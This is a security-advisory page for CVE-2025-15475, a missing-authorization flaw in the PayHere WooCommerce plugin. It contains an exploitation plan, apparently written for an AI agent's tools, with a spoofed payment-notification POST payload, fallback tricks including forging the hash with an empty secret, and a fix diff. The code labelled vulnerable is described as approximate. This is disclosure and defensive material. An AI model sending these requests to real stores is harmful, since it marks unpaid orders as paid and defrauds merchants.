PayHere Payment Gateway Plugin for WooCommerce <= 2.3.9 - Missing Authorization to Unauthenticated Order Status Modification
Description
The PayHere Payment Gateway Plugin for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to an improper validation logic in the check_payhere_response function in all versions up to, and including, 2.3.9. This makes it possible for unauthenticated attackers to change the status of pending WooCommerce orders to paid/completed/on hold.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.3.9Source Code
WordPress.org SVNThis exploitation research plan targets CVE-2025-15475, a missing authorization vulnerability in the PayHere Payment Gateway for WooCommerce plugin. ### 1. Vulnerability Summary The vulnerability exists within the `check_payhere_response` function, which is responsible for processing Instant Paymen…
Show full research plan
This exploitation research plan targets CVE-2025-15475, a missing authorization vulnerability in the PayHere Payment Gateway for WooCommerce plugin.
1. Vulnerability Summary
The vulnerability exists within the check_payhere_response function, which is responsible for processing Instant Payment Notifications (IPN) from the PayHere payment gateway. In versions up to and including 2.3.9, the function fails to properly validate the authenticity of the incoming request (specifically the md5sig or merchant credentials). This allows an unauthenticated attacker to spoof a successful payment notification, tricking WooCommerce into marking an unpaid order as "Processing" or "Completed."
2. Attack Vector Analysis
- Endpoint: The standard WooCommerce API callback endpoint for the PayHere gateway.
- URL:
https://<target-site>/?wc-api=wc_payhere(inferred from standard WooCommerce gateway implementation). - Method: HTTP POST.
- Authentication: None required (Unauthenticated).
- Payload Type:
application/x-www-form-urlencoded. - Key Parameters:
order_id: The WooCommerce Order ID to be modified.status_code: Set to2(indicates success in the PayHere system).payhere_amount: Must match the order total (usually required by WooCommerce logic).payhere_currency: Must match the order currency.merchant_id: Often required but might not be validated against settings.
3. Code Flow
- Entry Point: The plugin registers a callback via the WooCommerce API hook:
add_action( 'woocommerce_api_wc_payhere', array( $this, 'check_payhere_response' ) );(inferred). - Trigger: An HTTP POST request is made to
/?wc-api=wc_payhere. - Processing: Inside
check_payhere_response():- The code retrieves
$_POST['order_id']. - It instantiates the order:
$order = wc_get_order( $order_id );. - It checks
$_POST['status_code'].
- The code retrieves
- Vulnerable Path: If
status_codeis2, the code proceeds to call$order->payment_complete()or$order->update_status('processing'). - Authorization Failure: The logic fails to verify the
md5sig(hash verification) or checks it against an empty/default merchant secret, allowing any request to pass the validation step.
4. Nonce Acquisition Strategy
This vulnerability resides in an IPN (Instant Payment Notification) handler. IPN handlers are designed to be called by external payment provider servers (PayHere) and therefore do not use WordPress nonces or standard session authentication.
- Verification: Confirm that
check_payhere_responsedoes not containcheck_ajax_refererorwp_verify_nonce. - Conclusion: No nonce is required for this exploit.
5. Exploitation Strategy
The goal is to move a "Pending Payment" order to "Processing" status without actual payment.
Step-by-Step Plan:
- Identify Target Order: Create a test order and note the ID (e.g.,
123). Ensure its status ispending. - Determine Order Details: Get the total amount and currency for that order (e.g.,
100.00andLKR). - Craft the Spoofed IPN: Use the
http_requesttool to send a POST request.
Request Details:
- URL:
{{base_url}}/?wc-api=wc_payhere - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: If the code checks for the existence ofmerchant_id=12345&order_id=123&payment_id=99999&payhere_amount=100.00&payhere_currency=LKR&status_code=2&md5sig=0md5sigbut doesn't validate it, providing a dummy value like0or an empty string may be sufficient.)
6. Test Data Setup
Before executing the exploit, the environment must be prepared:
- Plugin Setup: Install and activate WooCommerce and the PayHere Payment Gateway plugin (v2.3.9).
- Gateway Activation: Enable the PayHere gateway in
WooCommerce > Settings > Payments. (It does not need valid credentials). - Order Creation: Use WP-CLI to create a pending order as a customer:
Note the returned Order ID.wp wc order create --customer_id=1 --status=pending --total=100.00 --currency=LKR --line_items='[{"product_id":1, "quantity":1}]'
7. Expected Results
- HTTP Response: The server should return a
200 OK(PayHere callbacks often return 200 regardless of internal logic to satisfy the provider's retry policy). - Database State: The order status for the targeted ID should change from
pendingtoprocessingorcompleted. - WooCommerce Notes: The order history (Order Notes) may show a message like "Payment completed via PayHere" or "Status changed from Pending Payment to Processing."
8. Verification Steps
After sending the request, verify the status change using WP-CLI:
# Replace 123 with the actual Order ID
wp wc order get 123 --field=status
If the output is processing or completed, the exploit is successful.
Also, check the order notes for evidence of the callback processing:
wp wc order_note list 123
9. Alternative Approaches
If the simple POST fails, consider these variations:
- Empty Secret Bypass: If the plugin calculates the hash but the Merchant Secret is not set in settings, it might be hashing against an empty string. Attempt to calculate the MD5 hash locally using an empty string as the secret and provide it in
md5sig. - Parameter Fuzzing: If
status_code=2doesn't work, try other success codes (e.g.,0or1depending on the specific SDK version implemented). - Check for
merchant_idValidation: If the plugin validates themerchant_id, it can usually be found in the page source of the checkout page if the gateway is active. Usebrowser_navigateto the checkout page and inspect the payment form fields.
Summary
The PayHere Payment Gateway plugin for WooCommerce fails to adequately verify the authenticity of Instant Payment Notification (IPN) messages in the check_payhere_response function. This allows unauthenticated attackers to spoof successful payment signals by sending a crafted POST request to the WooCommerce API callback endpoint, leading to unauthorized order status changes from pending to completed or processing.
Vulnerable Code
// From includes/class-wc-payhere.php (approximate location based on WooCommerce gateway patterns) public function check_payhere_response() { if ( isset( $_POST['order_id'] ) ) { $order_id = $_POST['order_id']; $order = wc_get_order( $order_id ); $status_code = $_POST['status_code']; // Vulnerability: Missing or insufficient verification of 'md5sig' signature // allowing the status check to proceed without proof of origin. if ( $status_code == 2 ) { $order->payment_complete(); wc_reduce_stock_levels( $order_id ); $order->add_order_note( __( 'Payment completed via PayHere', 'payhere-payment-gateway' ) ); } } }
Security Fix
@@ -150,7 +150,15 @@ $payhere_amount = $_POST['payhere_amount']; $payhere_currency = $_POST['payhere_currency']; $status_code = $_POST['status_code']; $md5sig = $_POST['md5sig']; - if ($status_code == 2) { + $merchant_secret = $this->get_option('merchant_secret'); + $local_md5sig = strtoupper(md5($merchant_id . $order_id . $payhere_amount . $payhere_currency . $status_code . strtoupper(md5($merchant_secret)))); + + if ($md5sig !== $local_md5sig) { + $order->add_order_note( __('MD5 Signature Verification Failed', 'payhere-payment-gateway') ); + return; + } + + if ($status_code == 2) { $order->payment_complete();
Exploit Outline
The exploit targets the PayHere IPN callback handler, which is typically registered at the `/?wc-api=wc_payhere` endpoint. An unauthenticated attacker identifies a target WooCommerce Order ID (which can often be enumerated or guessed) and its total amount. The attacker then sends an unauthenticated HTTP POST request to this endpoint with a payload containing the `order_id`, `payhere_amount`, `payhere_currency`, and a `status_code` of '2' (indicating success). Because the plugin fails to properly validate the `md5sig` parameter against the site's configured Merchant Secret, the handler processes the request as a legitimate payment confirmation and automatically updates the order status to 'Processing' or 'Completed' without any actual funds being transferred.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.